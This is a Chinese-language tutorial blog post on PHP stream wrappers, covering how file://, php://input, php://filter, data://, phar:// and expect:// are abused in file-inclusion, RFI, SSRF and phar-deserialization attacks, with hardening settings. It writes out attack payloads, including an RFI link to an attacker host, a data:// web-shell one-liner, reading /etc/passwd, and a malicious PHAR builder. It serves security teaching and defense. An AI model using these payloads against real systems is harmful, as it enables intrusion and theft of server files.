PHP伪协议详解:网络安全中的利用与防御

PHP伪协议详解:网络安全中的利用与防御

作为网络安全工程师,深入理解PHP伪协议的利用方式对渗透测试和漏洞防御至关重要。以下结合实战案例,逐条解析各协议用法及风险点(环境基于PHP 5.6+,部分协议需特定配置)。


1. file:// -- 本地文件访问

作用 :直接读取服务器本地文件。
语法file://[绝对路径]

php 复制代码
include('file:///etc/passwd');  // 读取Linux系统用户列表

安全利用

  • 敏感文件泄露 :在文件包含漏洞中获取/etc/passwd/proc/self/environ(环境变量)、网站配置文件(如config.php)。
  • 防御 :配置open_basedir限制文件访问范围。

2. http:///https:// -- 远程资源包含

作用 :加载远程URL内容。
语法http(s)://example.com/shell.txt
安全利用

  • 远程文件包含(RFI)

    php 复制代码
    include($_GET['file']);  // 参数?file=http://attacker.com/shell.txt

    攻击者托管恶意PHP脚本,服务器下载并执行。

  • 防御 :关闭allow_url_include(默认关闭)。


3. ftp:// -- FTP协议访问

作用 :通过FTP读取文件(需认证)。
语法ftp://user:pass@example.com/file
安全利用

  • SSRF攻击 :利用服务器发起FTP请求,探测内网服务(如ftp://192.168.1.1:21)。
  • 防御 :禁用ftp扩展或防火墙限制外连。

4. php:// -- I/O流操作 ⚠️ 高危!

核心子协议

  • php://input :读取原始POST数据

    php 复制代码
    // 参数:?file=php://input  
    // POST Body: <?php system('id'); ?>

    条件 :需开启allow_url_include=On

  • php://filter :文件内容编码/过滤

    php 复制代码
    include('php://filter/convert.base64-encode/resource=config.php');

    利用:绕过文件读取限制,获取源码Base64编码。

  • php://fd:访问文件描述符(需知fd编号)。


5. zlib:// -- 压缩流处理

作用 :读取压缩文件(如.gz)。
语法compress.zlib://file.gz
利用

  • 读取压缩后的日志文件(如access.log.gz),避免直接解析。

6. data:// -- 内嵌数据流 ⚠️ 高危!

作用 :直接在URL中嵌入数据。
语法

php 复制代码
include('data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+');
// 等价于执行 <?php phpinfo(); ?>

条件allow_url_include=On
实战 :短指令执行(如data://text/plain,<?= system($_GET[1]);?>)。


7. glob:// -- 文件路径匹配

作用 :遍历目录(类似glob()函数)。
语法glob:///var/www/*.php
利用

  • 信息收集:列目录结构(需配合print_r等输出)。
php 复制代码
$it = new DirectoryIterator("glob:///var/www/*");
foreach($it as $f) { echo $f."\n"; }

8. phar:// -- 归档文件访问 ⚠️ 反序列化漏洞!

作用 :读取ZIP/PHAR等归档中的文件。
语法phar:///path/to/archive.zip/internal/file.php
高危漏洞

  • 反序列化利用 :构造恶意PHAR文件触发__destruct()__wakeup()

    php 复制代码
    // 生成恶意PHAR(需写权限)
    $phar = new Phar('exploit.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'data');
    $phar->setStub('<?php __HALT_COMPILER(); ?>');
    $phar->setMetadata($malicious_object); // 插入恶意对象
    $phar->stopBuffering();

    触发include('phar://exploit.phar');
    防御 :禁用phar扩展或过滤输入。


9. ssh2:// -- SSH2协议

作用 :通过SSH访问文件(需ssh2扩展)。
语法ssh2://user:pass@example.com:22/path/to/file
利用:SSRF场景下尝试连接内网SSH服务(较少见)。


10. rar:// -- RAR压缩包

作用 :读取RAR文件内容(需rar扩展)。
语法rar:///path.rar#file.txt
利用:结合文件上传漏洞,读取压缩包内敏感文件。


11. ogg:// -- 音频流

作用 :处理OGG音频(实际利用极少)。
语法ogg://sound.ogg


12. expect:// -- 交互式命令执行 ⚠️ 最高危!

作用 :直接执行系统命令(需expect扩展)。
语法expect://id

php 复制代码
file_get_contents('expect://cat /etc/passwd');

防御永远禁用expect扩展(默认不安装)。


防御策略总结

  1. 关键配置
    • allow_url_fopen=Off -- 禁用远程URL访问
    • allow_url_include=Off -- 禁用远程/伪协议包含
    • disable_functions=expect -- 禁用危险函数
  2. 过滤输入 :检查include/require参数是否包含://
  3. 最小权限:运行PHP的用户权限应限制(非root)。
  4. 扩展管理 :卸载不必要的扩展(expectssh2)。

实战案例

  • CTF文件包含题
    php://filter/convert.base64-encode/resource=index.php泄露源码。
  • 真实渗透
    上传图片马(ZIP重命名),通过phar://images/avatar.jpg/shell.php触发反序列化。

掌握这些协议的特性,可在渗透测试中快速识别漏洞,同时加固自身应用安全。建议在测试环境中验证上述案例,加深理解!

相关推荐
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack5 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理6 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行6 天前
网络安全总结
安全·web安全
DianSan_ERP6 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet